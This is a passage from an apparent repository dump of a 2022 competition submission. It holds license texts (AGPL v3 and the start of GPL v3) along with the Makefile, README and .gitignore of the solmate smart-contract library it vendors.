of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Remote Network Interaction; Use with the GNU General Public License.\n\n  Notwithstanding any other provision of this License, if you modify the\nProgram, your modified version must prominently offer all users\ninteracting with it remotely through a computer network (if your version\nsupports such interaction) an opportunity to receive the Corresponding\nSource of your version by providing access to the Corresponding Source\nfrom a network server at no charge, through some standard or customary\nmeans of facilitating copying of software.  This Corresponding Source\nshall include the Corresponding Source for any work covered by version 3\nof the GNU General Public License that is incorporated pursuant to the\nfollowing paragraph.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the work with which it is combined will remain governed by version\n3 of the GNU General Public License.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU Affero General Public License from time to time.  Such new versions\nwill be similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU Affero General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU Affero General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU Affero General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU Affero General Public License as published\n    by the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If your software can interact with users remotely through a computer\nnetwork, you should also make sure that it provides a way for users to\nget its source.  For example, if your program is a web application, its\ninterface could display a \"Source\" link that leads users to an archive\nof the code.  There are many ways you could offer source, and different\nsolutions will be better for different programs; see section 13 for the\nspecific requirements.\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU AGPL, see\n<https://www.gnu.org/licenses/>."
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/Makefile",
    "content": "all: solc install update\n# Install proper solc version.\nsolc:; nix-env -f https://github.com/dapphub/dapptools/archive/master.tar.gz -iA solc-static-versions.solc_0_8_10\n# Install npm dependencies.\ninstall:; npm install\n# Install dapp dependencies.\nupdate:; dapp update\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/README.md",
    "content": "# solmate\n\n**Modern**, **opinionated**, and **gas optimized** building blocks for **smart contract development**.\n\n## Contracts\n\n```ml\nauth\n├─ Auth — \"Flexible and updatable auth pattern\"\n├─ authorities\n│  ├─ RolesAuthority — \"Role based Authority that supports up to 256 roles\"\n│  ├─ MultiRolesAuthority — \"Flexible and target agnostic role based Authority\"\ntokens\n├─ WETH — \"Minimalist and modern Wrapped Ether implementation\"\n├─ ERC20 — \"Modern and gas efficient ERC20 + EIP-2612 implementation\"\n├─ ERC721 — \"Modern, minimalist, and gas efficient ERC721 implementation\"\n├─ ERC1155 — \"Minimalist and gas efficient standard ERC1155 implementation\"\nutils\n├─ SSTORE2 - \"Library for cheaper reads and writes to persistent storage\"\n├─ CREATE3 — \"Deploy to deterministic addresses without an initcode factor\"\n├─ SafeCastLib - \"Safe unsigned integer casting lib that reverts on overflow\"\n├─ ReentrancyGuard — \"Gas optimized reentrancy protection for smart contracts\"\n├─ FixedPointMathLib — \"Arithmetic library with operations for fixed-point numbers\"\n├─ Bytes32AddressLib — \"Library for converting between addresses and bytes32 values\"\n├─ SafeTransferLib — \"Safe ERC20/ETH transfer lib that handles missing return values\"\n```\n\n## Installation\n\nTo install with [**DappTools**](https://github.com/dapphub/dapptools):\n\n```sh\ndapp install rari-capital/solmate\n```\n\nTo install with [**Foundry**](https://github.com/gakonst/foundry):\n\n```sh\nforge install rari-capital/solmate\n```\n\nTo install with [**Hardhat**](https://github.com/nomiclabs/hardhat) or [**Truffle**](https://github.com/trufflesuite/truffle):\n\n```sh\nnpm install @rari-capital/solmate\n```\n\n## Acknowledgements\n\nThese contracts were inspired by or directly modified from many sources, primarily:\n\n- [Gnosis](https://github.com/gnosis/gp-v2-contracts)\n- [Uniswap](https://github.com/Uniswap/uniswap-lib)\n- [Dappsys](https://github.com/dapphub/dappsys)\n- [Dappsys V2](https://github.com/dapp-org/dappsys-v2)\n- [0xSequence](https://github.com/0xSequence)\n- [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts)\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/ds-test/.gitignore",
    "content": "/.dapple\n/build\n/out\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/ds-test/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 